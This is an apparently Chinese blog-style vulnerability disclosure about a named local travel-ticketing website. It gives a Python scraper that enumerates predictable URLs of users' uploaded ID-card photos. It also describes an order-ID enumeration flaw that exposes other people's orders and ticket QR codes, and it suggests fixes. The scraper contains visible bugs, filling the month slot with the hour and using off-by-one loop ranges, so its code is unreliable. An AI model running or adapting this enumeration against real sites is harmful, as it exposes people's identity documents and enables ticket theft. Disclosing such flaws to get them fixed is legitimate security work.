在今晚抢这个免费票的时候,发现这网站(http://www.guilinchuxingwang.com)注册还要上传身份证- -为了保证信息安全,就顺手看了看 =。=没想到还挺有意思的。

1.身份证图片上传地址猜测漏洞

图片的地址格式类似于

http://image.db.guilinchuxingwang.com/四位年份/不补零月份/不补零日子/PIC{两位数年份}{两位数月份,补零}{两位数日子,补零}{两位小时,补零}{两位分钟,补零}{两位秒,补零}{三位毫秒,补零}.jpg

写个小爬虫,就可以爬取了。

import requests

year = 2017
month = 7
day = 18

for hour in range(0, 23):
    for minute in range(0, 59):
        for second in range(0, 59):
            for millsecond in range(0, 999):
                url = "http://image.db.guilinchuxingwang.com/" +str(year)+ "/" +str(month)+ "/" +str(day)+ "/PIC{:0>2d}{:0>2d}{:0>2d}{:0>2d}{:0>2d}{:0>2d}{:0>3d}.jpg\n".format(year%2000, hour, day, hour, minute, second, millsecond)
                r = requests.get(url)
                if(r.status_code == 200):
                    print(url + "\n")

修复方法:不要将图片放在直接可以访问的地址,用程序来读取图片然后展示,加好权鉴。要不这样做的话,最起码文件名得随机吧。

2.订单任意读取漏洞

这个地址

http://pc.db.guilinchuxingwang.com/user/logined/tour/getMyOrderInfo?orderId={订单号}

从1开始的订单号,比如

我输入一个550,就可以看到别人的订单了。

拿到主车票编码后,就可以拿到上车的二维码了。

http://api.db.gldingyao.com/user/tour/toVerifyTicket?code=TO1707190647249429

修复方法:对订单读取加强权鉴。